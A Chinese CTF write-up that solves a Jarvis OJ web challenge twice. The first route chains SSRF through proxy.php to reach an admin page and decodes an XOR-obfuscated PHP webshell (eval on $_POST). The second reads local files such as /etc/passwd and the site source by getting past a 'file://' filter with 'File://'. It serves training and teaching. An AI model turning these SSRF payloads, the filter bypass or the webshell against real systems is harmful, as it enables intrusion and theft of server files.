前言
最近在进行一些培训讨论,在讲解一道Jarvis OJ上的Web题时,引发了一些思考。
起源
思考的起源很简单:
1.大家在网上查看writeup
1.发现题目的预期解法无法复现了
2.大家都认为这道题做不了了
题目链接如下:
http://web.jarvisoj.com:32782/
预期解法
这里我首先介绍一下预期解法
拿到题目后
一把硕大的菜刀图片,除了管理员登录的link,并无其他特征
这时查看一下源代码
发现有趣的一点
<img src="proxy.php?url=http://dn.jarvisoj.com/static/images/proxy.jpg" alt="">
此时点开network
我们可以发现这里是有远程请求的
大致过程如下
所以我们可以基本判断,这里是存在SSRF的
然后下一步,我们点击一下管理员的link
发现我们无法直接访问
http://web.jarvisoj.com:32782/admin
但此时查看源代码,又发现
<!--<script>alert('admin ip is 103.27.76.153')</script>-->
由这里组合思考一下,应该是不难想到
利用SSRF,伪装管理员去请求这个目录即可
所以我们有思路如下:
这样即可以管理员的身份访问
http://web.jarvisoj.com:32782/admin
并将内容打回来
那么第一个问题来了
我们可以利用web.jarvisoj.com
的SSRF
但是admin ip
上却没有SSRF的利用点怎么办?
这里的确是用了一些脑洞(或者有什么其他思路?知道的可以留言)
即根据
http://web.jarvisoj.com:32782/proxy.php
猜测管理员ip也有这个文件,即:
http://103.27.76.153/proxy.php
所以这里不难得到如下payload
http://web.jarvisoj.com:32782/proxy.php?url=http://103.27.76.153/proxy.php?url=http://web.jarvisoj.com:32782/admin/
然后访问应该得到如下页面
但是没有什么用
进行文件泄露探测可以找到
robots.txt
发现内容为:
User-agent: *
Disallow:trojan.php
Disallow:trojan.php.txt
访问
trojan.php.txt
得到trojan.php
的源码如下:
其实这种混淆有两种方法破解:
1.直接运行
发现直接拿到了shell
2.这里简单一看,就是一个异或混淆
首先我们
var_dump(${("#"^"|").("#"^"|")});
发现是
ASsERT
进行替换
<?php
ASsERT(("-"^"H"). ("]"^"+"). ("["^":"). (","^"@"). ("}"^"U"). ("e"^"A"). ("("^"w").("j"^":"). ("i"^"&"). ("#"^"p"). (">"^"j"). ("!"^"z"). ("T"^"g"). ("e"^"S"). ("_"^"o"). ("?"^"b"). ("]"^"t"));
?>
再解密
var_dump(("-"^"H"). ("]"^"+"). ("["^":"). (","^"@"). ("}"^"U"). ("e"^"A"). ("("^"w").("j"^":"). ("i"^"&"). ("#"^"p"). (">"^"j"). ("!"^"z"). ("T"^"g"). ("e"^"S"). ("_"^"o"). ("?"^"b"). ("]"^"t"));
即可得到
string(17) "eval($_POST[360])"
所以最后的shell为
<?php
ASsERT(eval($_POST[360]));
?>
那么我们利用菜刀连接trojan.php
即可拿到flag
payload
http://web.jarvisoj.com:32782/proxy.php?url=http://103.27.76.153/proxy.php?url=http://web.jarvisoj.com:32782/admin/trojan.php
思考点
虽然上述过程看起来非常完美,但是实际上已经无法使用了
我们在请求的时候发现,中间的admin ip的ssrf可能出现了问题,导致我们漏洞利用无法成功
所以可以说,此题的预期解应该是行不通了
但是实际上,我感觉预期解将大家的思路束缚了
我们发现SSRF之后,第一件事我认为做的绝非仅仅试试http协议
在探测的时候,我们一定会去尝试file协议读文件
我想这里也应该不例外,但是网上几乎所有的writeup都在使用上述预期的打法
实际上,这里用file协议可以更加舒服的拿到flag
非预期打法
正如上述所说,我拿到这道题后,尝试了一下file协议的探测,而并非先去想利用admin ip做中间层去访问admin页面
首先探测
http://web.jarvisoj.com:32782/proxy.php?url=file:///etc/passwd
页面回显了
这并不是我们想要的,也说明file可能被过滤了
于是本能反应应该是试试Bypass
http://web.jarvisoj.com:32782/proxy.php?url=File:///etc/passwd
即大小写绕过
果不其然,我们可以任意读文件了
但是,这有什么用呢?
我们不知道web的根目录,怎么去探测admin的目录呢?
这里我又发现了一个有趣的点,既然proxy.php是要传递参数url的
我们这里让它为空,试试会不会报错?
nice!我们又轻易的拿到了web目录的绝对路径
如此一来,我们就可以拿走所有的源码
不妨尝试:
http://web.jarvisoj.com:32782/proxy.php?url=File:///opt/lampp/htdocs/proxy.php
我们直接拿到了源码,不难发现这里是利用了curl,并且过滤写的非常生硬,只过滤了字符串
file://
但这并不是我们的最终目的
我们应该是去探测admin目录
出于正常想法,在我不知道robots.txt存在的情况下,我的第一反应应该是去读index.php
所以
view-source:http://web.jarvisoj.com:32782/proxy.php?url=File:///opt/lampp/htdocs/admin/index.php
却发现内容为空,那么相应的应该是去查看index.html
因为整个题目都没有给我们admin目录下的文件名,默认使用的是
http://web.jarvisoj.com:32782/admin/
所以不是先读index.php,就是先读index.html,这一定有突破口
view-source:http://web.jarvisoj.com:32782/proxy.php?url=File:///opt/lampp/htdocs/admin/index.html
不难发现我们得到了之前预期解的时候的页面
那么在index.php和index.html都不可用,题目本身也没有告知其他文件的时候,本能反应肯定就是去探测目录了
探测方式也很简单:
http://web.jarvisoj.com:32782/proxy.php?url=File:///opt/lampp/htdocs/admin/+filename
如此不难发现
http://web.jarvisoj.com:32782/proxy.php?url=File:///opt/lampp/htdocs/admin/robots.txt
那么直接读
trojan.php
payload
http://web.jarvisoj.com:32782/proxy.php?url=File:///opt/lampp/htdocs/admin/trojan.php
不难发现
如此一来,我们依然有理有据的拿到了flag
后记
其实这道题本身来说,能学到姿势并不多,但是思维很重要
writeup是个好东西,但是不能被他束缚了思想
我认为这样一道SSRF的题目,一定是应该尝试file协议的,而不应该是清一色的利用http以及admin ip
web题目本身就是开放形式的,能否被限定到只有唯一解其实是很难的,必须出题人具有很高的水平,把控的了所有可能存在的非预期,writeup也不是万能的,并不是客观答案,不应该无法复现writeup的解法就认为此题无解了。
web的奇淫技巧博大精深,还等待各位师傅探索,本弱鸡在此献丑了!